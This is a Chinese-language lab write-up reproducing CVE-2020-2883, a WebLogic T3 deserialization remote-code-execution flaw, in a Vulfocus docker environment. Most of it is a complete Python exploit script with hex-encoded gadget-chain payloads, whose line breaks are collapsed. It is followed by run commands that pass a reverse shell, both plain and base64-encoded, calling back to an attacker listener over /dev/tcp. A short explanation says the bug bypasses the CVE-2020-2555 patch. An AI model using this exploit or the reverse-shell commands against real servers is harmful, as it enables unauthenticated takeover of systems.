CVE-2020-2883复现以及漏洞原理分析

一：漏洞概述

在Oracle官方发布的2020年4月关键补丁公告中，两个针对WebLogic Server的严重漏洞（CVE-2020-2883和CVE-2020-2884），允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的Weblogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而导致远程代码被执行。
Key words：T3协议，weblogic Server，反序列化

二：操作流程

首先借助虚拟机在Ubuntu上利用docker搭建环境，利用国产漏洞集成平台Vulfocus，拉取漏洞镜像。安装过程参考Vulfocus手册，最终在电脑主机上登录平台，拉取该漏洞后启动环境，查看相应参数，如图一所示。需要注意的映射端口是7001：50496.这是因为weblogic服务的真正管理端口是7001.每次漏洞启动运行时间是半小时，半小时没有拿到shell，端口映射情况会发生改变，同时flag也会改变。

安装漏洞环境过程，参考vulfocus平台手册，非常容易上手，这里就不展开一一赘述。
启动docker 靶机环境以后，输入http:\your ip address\console就可以访问weblogic控制台，如图2所示。

考虑到已有poc文件，参考github，攻击文件如下所示

# -*- coding: utf-8 -*-
import socket
import time
import ssl
import binascii
import urlparse
import argparse
import sysglobalProxies = {}
header = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"}def parseUrl(url):parsed = urlparse.urlparse(url)proto = parsed.schemenetloc = parsed.netlocip = netlocif proto == 'http':port = 80else:port = 443if (':' in netloc):ip = netloc.split(':')[0]port = netloc.split(':')[1]uri = parsed.pathreturn (proto, ip, port, uri)def CVE_2020_2883(cmd):payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72c7ad6d3a676f3c180200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72889f81b0945d5b7f02000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72658195303e7238210200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f72ee7ae995c02fb4a20200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f647400124c6a6176612f6c616e672f537472696e673b7871007e000900000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e000d000000007571007e001100000002707571007e001100000000740006696e766f6b657371007e000d000000007571007e00110000000174'payload_lenhex = '{:04x}'.format(len(cmd))payload_cmdhex = binascii.b2a_hex(cmd)payload_end = '74000465786563770400000003767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707400013178'payload = payload_start + payload_lenhex + payload_cmdhex + payload_endreturn payloadclass payloadtest(object):def __init__(self):self.vuln = 'cve_2020_2883'def t3handshake(self,sock,server_addr):sock.connect(server_addr)sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))time.sleep(1)data = sock.recv(1024)#print (data)#print 'handshake successful'def buildT3RequestObject(self,sock,port):data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b19ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1,data2,data3,data4]:sock.send(d.decode('hex'))time.sleep(2)print ('send request payload successful,recv length:%d'%(len(sock.recv(2048))))def sendEvilObjData(self,sock,data):payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'payload+=datapayload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)sock.send(payload.decode('hex'))time.sleep(2)sock.send(payload.decode('hex'))res = ''n=1try:while True:n += 1res += sock.recv(4096)time.sleep(0.1)if(n>15):breakexcept Exception as e:passreturn resdef check(self, url, cmd,timeout, proxies=globalProxies, **args):(proto, ip, port, uri) = parseUrl(url)server_addr = (ip, int(port))if proto == 'https':sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))else:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#sock.settimeout(timeout)try:self.t3handshake(sock,server_addr)self.buildT3RequestObject(sock,port)payload = CVE_2020_2883(cmd)resp = self.sendEvilObjData(sock,payload)print ('Payload send succeed! Please check.')return Trueexcept Exception as e:print ('Failed! Exception:{}'.format(str(e)))print("G!!!")return Falsedef poc(url,cmd):x = payloadtest()print(url)print(cmd)return x.check(url, cmd,20)if __name__ == '__main__':parser = argparse.ArgumentParser(description='Weblogic cve-2020-2883 Exp',usage='use "python %(prog)s --help" for more information',formatter_class=argparse.RawTextHelpFormatter)parser.add_argument("-u", "--url",dest="url",help="the url to check")parser.add_argument("-c", "--cmd",dest="cmd",help="the cmd to run on the target")args = parser.parse_args()if not args.url or not args.cmd:sys.exit('Please assign url and cmd!')poc(args.url, args.cmd)

在这里需要注意的是，需要使用python2的环境。
运行攻击代码，执行以下命令

python2 attackexp.py -u http://192.168.204.128:50496/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNC4xMzEvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

这里面的端口都根据自己运行攻击代码时，提供的漏洞环境有关。
本来输入的应该是一个reverse shell,但是由于反弹shell需要编码，通过网站
添加链接描述 编码shell脚本，然后执行，原始命令如下

python2 attackexp.py -u http://192.168.204.128:10267/ -c "bash -i >& /dev/tcp/192.168.204.131/19999 0>&1"

在kali上开启监听，运行攻击程序，成功拿到shell

允许未经身份验证的攻击者通过T3网络协议访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。该漏洞是对CVE-2020-2555的绕过，Oracle官方提供的CVE-2020-2555补丁中将LimitFilter类的toString（）方法中的extract（）方法调用全部移除了